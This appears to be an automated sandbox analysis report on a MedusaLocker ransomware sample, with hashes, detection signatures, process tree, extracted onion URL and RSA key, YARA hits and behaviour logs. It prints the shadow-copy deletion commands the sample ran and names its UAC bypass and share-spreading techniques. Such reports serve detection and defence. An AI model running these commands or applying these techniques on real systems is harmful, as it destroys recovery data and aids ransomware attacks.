Play interactive tour

Edit tour

Analysis Report f6ifQ0POml

Overview

General Information

Sample Name:	f6ifQ0POml (renamed file extension from none to exe)
Analysis ID:	377327
MD5:	82143033173cbeee7f559002fb8ab8c5
SHA1:	e03aedb8b9770f899a29f1939636db43825e95cf
SHA256:	4ae110bb89ddcc45bb2c4e980794195ee5eb85b5261799caedef7334f0f57cc4
Infos:
Most interesting Screenshot:

Detection

MedusaLocker

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Contains functionality to bypass UAC (CMSTPLUA)

Found malware configuration

Found ransom note / readme

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected MedusaLocker Ransomware

Contains functionality to modify Windows User Account Control (UAC) settings

Deletes shadow drive data (may be related to ransomware)

Found Tor onion address

Machine Learning detection for sample

Spreads via windows shares (copies files to share folders)

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

May use bcdedit to modify the Windows boot settings

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

f6ifQ0POml.exe (PID: 6836 cmdline: 'C:\Users\user\Desktop\f6ifQ0POml.exe' MD5: 82143033173CBEEE7F559002FB8AB8C5)

vssadmin.exe (PID: 1316 cmdline: vssadmin.exe Delete Shadows /All /Quiet MD5: 7E30B94672107D3381A1D175CF18C147)

conhost.exe (PID: 6496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 4112 cmdline: wmic.exe SHADOWCOPY /nointeractive MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vssadmin.exe (PID: 6736 cmdline: vssadmin.exe Delete Shadows /All /Quiet MD5: 7E30B94672107D3381A1D175CF18C147)

conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 6592 cmdline: wmic.exe SHADOWCOPY /nointeractive MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vssadmin.exe (PID: 6956 cmdline: vssadmin.exe Delete Shadows /All /Quiet MD5: 7E30B94672107D3381A1D175CF18C147)

conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 6972 cmdline: wmic.exe SHADOWCOPY /nointeractive MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svhost.exe (PID: 6864 cmdline: C:\Users\user\AppData\Roaming\svhost.exe MD5: 82143033173CBEEE7F559002FB8AB8C5)

svhost.exe (PID: 7004 cmdline: C:\Users\user\AppData\Roaming\svhost.exe MD5: 82143033173CBEEE7F559002FB8AB8C5)

svhost.exe (PID: 1740 cmdline: C:\Users\user\AppData\Roaming\svhost.exe MD5: 82143033173CBEEE7F559002FB8AB8C5)

cleanup

Malware Configuration

Threatname: MedusaLocker

{"URL": "http://gvlay6u4g53rxdi5.onion/", "RSA key": "BgIAAACkAABSU0ExAAgAAAEAAQBtv9E5cdLPoTK8PwG0VTbxxURbhYM00jmY1b22v+Nwoe6+Vi6zHYcP5JmmueP4FBZBwANscT6dGxHpP4f4l9L9b/VLT6npX7+821EksPXaUJ8piYp8TCQPKRLJt6v7foVnI7jRW//K0wX9YmF7JWbBQROHPQTX7g3CQqZM7xGT4PfMa8g7+UBbstiEThpJo8PE1pgHfZrUFyiMwAv1hoXvaWVeAHKGOvoV+pKZ6Qi2fBCyJFmfL3hChhDWzIjp5oWd3l/RuSgET1sNAV8lkQPpf80OwlxFls5C8OnoG2d7eZJXDhcelK6K67Pp1Y6nC/B5mGpMhERMGnzSg9JKcrOn\n"}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
f6ifQ0POml.exe	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\svhost.exe	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.767781620.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
00000001.00000000.640333058.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
00000014.00000000.766983442.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
00000000.00000003.638943647.000000000071B000.00000004.00000001.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
0000001A.00000000.900797330.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
00000000.00000000.638560363.0000000000F65000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
0000001A.00000002.901407926.0000000000B15000.00000002.00020000.sdmp	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Process Memory Space: svhost.exe PID: 1740	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Process Memory Space: f6ifQ0POml.exe PID: 6836	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Process Memory Space: svhost.exe PID: 7004	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Process Memory Space: svhost.exe PID: 6864	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
1.0.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
20.0.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
1.2.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
26.0.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
0.0.f6ifQ0POml.exe.ef0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
20.2.svhost.exe.aa0000.0.unpack	JoeSecurity_MedusaLocker	Yara detected MedusaLocker Ransomware	Joe Security
Click to see the 2 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: f6ifQ0POml.exe

Avira: detected

Found malware configuration

Show sources

Source: svhost.exe.1740.26.memstr

Malware Configuration Extractor: MedusaLocker {"URL": "http://gvlay6u4g53rxdi5.onion/", "RSA key": "BgIAAACkAABSU0ExAAgAAAEAAQBtv9E5cdLPoTK8PwG0VTbxxURbhYM00jmY1b22v+Nwoe6+Vi6zHYcP5JmmueP4FBZBwANscT6dGxHpP4f4l9L9b/VLT6npX7+821EksPXaUJ8piYp8TCQPKRLJt6v7foVnI7jRW//K0wX9YmF7JWbBQROHPQTX7g3CQqZM7xGT4PfMa8g7+UBbstiEThpJo8PE1pgHfZrUFyiMwAv1hoXvaWVeAHKGOvoV+pKZ6Qi2fBCyJFmfL3hChhDWzIjp5oWd3l/RuSgET1sNAV8lkQPpf80OwlxFls5C8OnoG2d7eZJXDhcelK6K67Pp1Y6nC/B5mGpMhERMGnzSg9JKcrOn\n"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\svhost.exe	Metadefender: Detection: 65%			Perma Link
Source: C:\Users\user\AppData\Roaming\svhost.exe	ReversingLabs: Detection: 100%

Multi AV Scanner detection for submitted file

Show sources

Source: f6ifQ0POml.exe	Virustotal: Detection: 83%	Perma Link
Source: f6ifQ0POml.exe	Metadefender: Detection: 65%	Perma Link
Source: f6ifQ0POml.exe	ReversingLabs: Detection: 100%

Machine Learning detection for sample

Show sources

Source: f6ifQ0POml.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB60D0 CryptDestroyKey,CryptReleaseContext,CryptReleaseContext,	1_2_00AB60D0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB61C0 std::ios_base::good,CryptDuplicateKey,GetFileAttributesW,SetFileAttributesW,CreateFileW,CloseHandle,MoveFileExW,CloseHandle,CryptDestroyKey,	1_2_00AB61C0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB67E0 CryptAcquireContextW,GetLastError,CryptAcquireContextW,	1_2_00AB67E0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB68D0 std::ios_base::good,CryptStringToBinaryA,GetProcessHeap,HeapAlloc,CryptStringToBinaryA,CryptImportKey,GetProcessHeap,HeapFree,	1_2_00AB68D0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6860 CryptAcquireContextW,GetLastError,CryptAcquireContextW,	1_2_00AB6860
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6BB0 CryptGenKey,	1_2_00AB6BB0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6BF0 CryptDestroyKey,	1_2_00AB6BF0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6CC0 CryptEncrypt,	1_2_00AB6CC0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6C10 CryptEncrypt,	1_2_00AB6C10
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6C70 CryptExportKey,	1_2_00AB6C70
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AB6D30 CryptExportKey,	1_2_00AB6D30

Privilege Escalation:

Contains functionality to bypass UAC (CMSTPLUA)

Show sources

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AC18D0 CoInitialize,CLSIDFromString,IIDFromString,CoGetObject,CoUninitialize,

1_2_00AC18D0

Source: f6ifQ0POml.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: f6ifQ0POml.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Spreading:

Spreads via windows shares (copies files to share folders)

Show sources

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: Z:\$RECYCLE.BIN	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: Z:\Recovery\WindowsRE\Recovery_Instructions.html	Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: c:	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B0E180 FindFirstFileExW,_free,		1_2_00B0E180
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AC7842 FindFirstFileExW,__Read_dir,FindClose,std::tr2::sys::_Strcpy,		1_2_00AC7842

Networking:

Found Tor onion address

Show sources

Source: f6ifQ0POml.exe, 00000000.00000000.638582478.0000000000F86000.00000002.00020000.sdmp	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: f6ifQ0POml.exe, 00000000.00000000.638582478.0000000000F86000.00000002.00020000.sdmp	String found in binary or memory: <br><br>SYSTEMDRIVEhttp://gvlay6u4g53rxdi5.onion/\intelSYSTEMDRIVE.Microsoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced Cryptographic Provider v1.0\nvidiaSYSTEMDRIVESYSTEMDRIVESYSTEMDRIVE\Program Files\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files (x86)\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files\Microsoft SQL ServerSYSTEMDRIVE\Program Files (x86)\Microsoft SQL ServerSYSTEMDRIVE[LOCKER] Assign device letter
Source: svhost.exe	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: svhost.exe, 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp	String found in binary or memory: <br><br>SYSTEMDRIVEhttp://gvlay6u4g53rxdi5.onion/\intelSYSTEMDRIVE.Microsoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced Cryptographic Provider v1.0\nvidiaSYSTEMDRIVESYSTEMDRIVESYSTEMDRIVE\Program Files\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files (x86)\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files\Microsoft SQL ServerSYSTEMDRIVE\Program Files (x86)\Microsoft SQL ServerSYSTEMDRIVE[LOCKER] Assign device letter
Source: svhost.exe, 00000014.00000002.767816684.0000000000B36000.00000002.00020000.sdmp	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: svhost.exe, 00000014.00000002.767816684.0000000000B36000.00000002.00020000.sdmp	String found in binary or memory: <br><br>SYSTEMDRIVEhttp://gvlay6u4g53rxdi5.onion/\intelSYSTEMDRIVE.Microsoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced Cryptographic Provider v1.0\nvidiaSYSTEMDRIVESYSTEMDRIVESYSTEMDRIVE\Program Files\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files (x86)\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files\Microsoft SQL ServerSYSTEMDRIVE\Program Files (x86)\Microsoft SQL ServerSYSTEMDRIVE[LOCKER] Assign device letter
Source: svhost.exe, 00000014.00000002.768636909.00000000011F7000.00000004.00000020.sdmp	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/21-
Source: svhost.exe, 0000001A.00000002.901483213.0000000000B36000.00000002.00020000.sdmp	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: svhost.exe, 0000001A.00000002.901483213.0000000000B36000.00000002.00020000.sdmp	String found in binary or memory: <br><br>SYSTEMDRIVEhttp://gvlay6u4g53rxdi5.onion/\intelSYSTEMDRIVE.Microsoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced Cryptographic Provider v1.0\nvidiaSYSTEMDRIVESYSTEMDRIVESYSTEMDRIVE\Program Files\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files (x86)\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files\Microsoft SQL ServerSYSTEMDRIVE\Program Files (x86)\Microsoft SQL ServerSYSTEMDRIVE[LOCKER] Assign device letter
Source: f6ifQ0POml.exe	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: f6ifQ0POml.exe	String found in binary or memory: ProgramData\Application DataIGN_NOTE_CODE2WINDIRSYSTEMDRIVE\Users\All UsersIGN_NOTE_CODE3\Program FilesSYSTEMDRIVE\WindowsIGN_NOTE_CODE4<br><br>SYSTEMDRIVEhttp://gvlay6u4g53rxdi5.onion/\intelSYSTEMDRIVE.Microsoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced Cryptographic Provider v1.0\nvidiaSYSTEMDRIVESYSTEMDRIVESYSTEMDRIVE\Program Files\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files (x86)\Microsoft\Exchange ServerSYSTEMDRIVE\Program Files\Microsoft SQL ServerSYSTEMDRIVE\Program Files (x86)\Microsoft SQL ServerSYSTEMDRIVE[LOCKER] Assign device letter

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
